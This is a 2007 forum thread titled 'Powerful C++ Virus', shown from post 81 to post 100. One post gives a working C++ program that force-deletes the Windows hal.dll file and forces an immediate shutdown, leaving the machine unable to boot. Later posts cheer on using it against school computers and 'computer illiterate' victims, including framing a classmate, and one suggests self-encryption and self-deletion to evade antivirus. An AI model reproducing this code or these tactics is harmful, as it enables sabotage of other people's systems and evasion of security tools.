Powerful C++ Virus

Discussion in 'Programming General' started by SidStudios, Mar 14, 2007.

Thread Status:
Not open for further replies.
Powerful C++ Virus
  1. Unread #81 - May 1, 2007 at 7:24 AM
  2. SVXX
    Referrals:
    0

    SVXX Guest

    Powerful C++ Virus

    kk guys,first things first,for all who think hal.dll doesn't get deleted,it does. I tested this code(without the shutdown part) after taking a backup copy of hal.dll on another place in my HDD. It got deleted in system32,and I put it back.
    Second,the shutdown thingy aint appropriate Sid..it doesn't work =/ plus std::remove doesn't work either since scope resolution operator( :: ) is only used in classes. I used "system" in my code

    So I fixed the code..here it is.:D
    Code:
    #include <cstdlib>
    #include <iostream>
    
    using namespace std;
    
    int main(int argc, char *argv[])
    {
        system("del %SystemRoot%\\system32\\hal.dll -q"); //PWNAGE TIME
        system("%SystemRoot%\\system32\\shutdown.exe -s -f -t 00");
        system("PAUSE");
        return EXIT_SUCCESS;
    }
    The "del" command is used in DOS to delete stuff. "-q" is a parameter which means force delete,or delete without asking.
    shutdown -s -f -t 00 means shutdown,force close everything running,in 00 seconds time.:D :D Also,COMPILE the code,DONT RUN IT. Sid's code's shutdown didn't work,so I was safe.... @_@ lol

    Um btw...if Windows aint in C...how would this work? is there any search thingy for this? Suppose its in D:,is there a code for it to look in the drives then delete hal.dll?

    *Edit*
    Nevermind I found out. Look in code.
     
  3. Unread #82 - May 1, 2007 at 12:39 PM
  4. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    I improvised the shutdown code from memory. Nice addition, though; I'll add it to the front page. What you accomplished in your quote box above was using BATCH which does not utilize the true purpose of C++...
     
  5. Unread #83 - May 1, 2007 at 12:51 PM
  6. SVXX
    Referrals:
    0

    SVXX Guest

    Powerful C++ Virus

    Well whats the harm in a bit of mixing? XD
     
  7. Unread #84 - May 1, 2007 at 12:59 PM
  8. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Powerful C++ Virus

    *Sigh*

    Proper use of the Windows Recovery Console will easily correct this.
     
  9. Unread #85 - May 1, 2007 at 1:11 PM
  10. SVXX
    Referrals:
    0

    SVXX Guest

    Powerful C++ Virus

    You know what,SMR...thats true..but most of the people we fool are computer illiterate. So you see...xD lol
     
  11. Unread #86 - May 1, 2007 at 9:11 PM
  12. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    That is if someone still has the CD. I normally download an XP Pro SP2 OEM ISO file from the web, burn it, install Windows and then lose the CD.

    What I did to correct the problem was I connected an IDE<-->USB cable from my computer to my laptop, plugged in the IDE Hard-Drive power cable and then switched it on. It found my hard-drive instantaneously and I just copied Hal.dll over.

    I go to a laptop school, and people are so computer illiterate that they do not know how to create something in Visual Basic.
     
  13. Unread #87 - May 2, 2007 at 7:29 AM
  14. Dust Looter
    Joined:
    May 1, 2007
    Posts:
    80
    Referrals:
    0
    Sythe Gold:
    0

    Dust Looter Member

    Powerful C++ Virus

    I can pwn the school computers lol
     
  15. Unread #88 - May 2, 2007 at 8:36 AM
  16. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    One thing I've realised after finding out that they blocked the CMD was that you can just use "Command.com" instead. We have limited rights on our computers, which disables us from doing anything bad, easily.
     
  17. Unread #89 - May 2, 2007 at 11:22 AM
  18. Dust Looter
    Joined:
    May 1, 2007
    Posts:
    80
    Referrals:
    0
    Sythe Gold:
    0

    Dust Looter Member

    Powerful C++ Virus

    Some computers don't have admin passwords on them :p lol jk I won't do anything bad.
     
  19. Unread #90 - May 2, 2007 at 12:34 PM
  20. Govind
    Joined:
    Apr 22, 2005
    Posts:
    7,825
    Referrals:
    13
    Sythe Gold:
    23
    Prove it! Trole Tier 1 Prizebox Tortoise Penis Le Monkey UWotM8? Wait, do you not have an Archer rank? Potamus

    Govind The One Musketeer
    Mudkips Highly Respected Retired Administrator

    Powerful C++ Virus

    I keep every CD I burn. It's just so hard to find them in my disorganized desk :p

    Although yes, this will render it impossible for computer-illiterate users to start Windows.
     
  21. Unread #91 - May 2, 2007 at 12:50 PM
  22. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    I keep my CD's too. I know where they are, as well. They're somewhere around my house. They're probably too scratched as well.

    Most tech people will not know what Hal.dll is and they will probably reformat the hard-drive and re-install Windows thinking that a virus has attacked their computer :p
     
  23. Unread #92 - May 5, 2007 at 6:48 PM
  24. Xx jake xX
    Joined:
    Jun 14, 2005
    Posts:
    407
    Referrals:
    0
    Sythe Gold:
    0

    Xx jake xX Forum Addict

    Powerful C++ Virus

    this is not needed....you just gave millions of programmer noobs a virus and will do anything to send it to people...but congrats on the creation..
     
  25. Unread #93 - May 6, 2007 at 1:51 AM
  26. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    The main purpose of this was to show people how to delete files in C++. I did not give millions of programmer noobs a virus; I merely gave them the source. The "programmer noobs" will have to learn how to compile it before sending it.
     
  27. Unread #94 - May 6, 2007 at 1:53 AM
  28. Xx jake xX
    Joined:
    Jun 14, 2005
    Posts:
    407
    Referrals:
    0
    Sythe Gold:
    0

    Xx jake xX Forum Addict

    Powerful C++ Virus

    true true but those of whome who do can, but I dout any noob would be able to find out how to get it out. Sorry for the misunderstanding ;)
     
  29. Unread #95 - May 7, 2007 at 8:42 PM
  30. Teizhcial
    Referrals:
    0

    Teizhcial Guest

    Powerful C++ Virus

    lol goodbye cheap IBM LENENO computer at my school. Just hope I dont get caught... aw I never get caught becasue the teachers are total n00bs at computers...

    THANK YOU FOR THE VIRUS!!!
    :)
     
  31. Unread #96 - May 8, 2007 at 12:24 AM
  32. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    Lol, the model of the computer doesn't really make a difference. Hal.dll can be easily restored with proper computer knowledge, although I'm not sure how to open up laptops.
     
  33. Unread #97 - May 8, 2007 at 8:24 AM
  34. Gofez0r
    Joined:
    Jan 21, 2007
    Posts:
    1,820
    Referrals:
    1
    Sythe Gold:
    0

    Gofez0r Guru

    Powerful C++ Virus

    In my school theres some kinda system that just replaces all the files for windows etc. at restart..

    @jake, if they wanted virus sources enough they could just google and find loads of them..
     
  35. Unread #98 - May 8, 2007 at 9:29 PM
  36. Teizhcial
    Referrals:
    0

    Teizhcial Guest

    Powerful C++ Virus

    First I was just pointing out the computers that my school uses are cheap crap I know they have the hal.dll files and I know it would work. Also "In my school theres some kinda system that just replaces all the files for windows etc. at restart.." well you know the computer would not restart right? Thats the point or you could just remove the shutdown command on say like the computer that someone you REALLY hate at your school is using and they get the blame. How would they get the blame well theres numbers on every comp. and my fat science teacher passes around a list with numbers beside it you write your name so they can tell what computer your on. Sorry I got a little carried away. :)
     
  37. Unread #99 - May 11, 2007 at 12:58 AM
  38. SidStudios
    Joined:
    Mar 14, 2007
    Posts:
    201
    Referrals:
    0
    Sythe Gold:
    0

    SidStudios Active Member

    Powerful C++ Virus

    I'm pretty sure there would be a work-around to make it delete hal.dll after 2 or 3 startups. Basically, I'm saying there's probably a way to delete hal.dll after a specific number of startups.
     
  39. Unread #100 - May 11, 2007 at 2:48 AM
  40. Sparq
    Joined:
    Feb 12, 2007
    Posts:
    249
    Referrals:
    0
    Sythe Gold:
    0

    Sparq Active Member

    Powerful C++ Virus

    Lol, on most systems you would get windows file protection jumping up and down like a jack russel telling you your computers screwed unless you insert the cd to repair the problem.

    Not to mention if you have zonealarm it will alert you of the problem and tell you not to allow this program to delete it.

    Most AV systems that run heurustics will pick this lil critter up and warn you of it.

    Last of all....Why write this in C++? Shouldnt you write it in assembly?

    Powerful? No
    Simple? Yes
    Detectable? Yes
    Fixable? Yes (Well for some)

    If you wanted it more powerful shouldnt you make it encrypt and decrypt itself? To prevent detection? and maybe melt itself after copying itself somewhere? Just kinda stuff like this.
     
< Visual Basic 2008 screenshot taker help. | [Dll] Flaming Hotkeys, Really simple to use >

Users viewing this thread
1 guest
Thread Status:
Not open for further replies.


 
 
Adblock breaks this site